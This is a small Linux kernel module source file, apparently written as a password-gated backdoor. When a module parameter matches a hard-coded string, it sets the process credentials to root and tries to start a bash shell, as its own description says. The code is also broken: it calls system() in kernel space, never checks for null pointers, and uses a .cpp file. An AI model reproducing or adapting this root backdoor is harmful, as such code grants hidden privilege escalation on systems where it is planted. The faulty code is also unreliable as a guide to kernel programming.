jbbbash.cpp

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <linux/cred.h>

static char* user_string;

static int __init my_init(void)
{
printk(KERN_INFO "Module initialized\n");
printk(KERN_INFO "Waiting for user input: mynameisbodjamesbond\n");


if (strcmp(user_string, "mynameisbodjamesbond") == 0)
{
    printk(KERN_INFO "Hello!\n");

    struct cred* new_cred = prepare_creds();
    new_cred->uid.val = 0;
    new_cred->euid.val = 0;
    new_cred->gid.val = 0;
    new_cred->egid.val = 0;

    commit_creds(new_cred);

    printk(KERN_INFO "User ID changed to 0\n");

    system("bash");
}

return 0;
}

static void __exit my_exit(void)
{
printk(KERN_INFO "Module exiting\n");
}

module_init(my_init);
module_exit(my_exit);

module_param(user_string, charp, 0);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Bod James Bond");
MODULE_DESCRIPTION("Kernel module that waits for user input, prints hello, and opens a bash session with uid 0");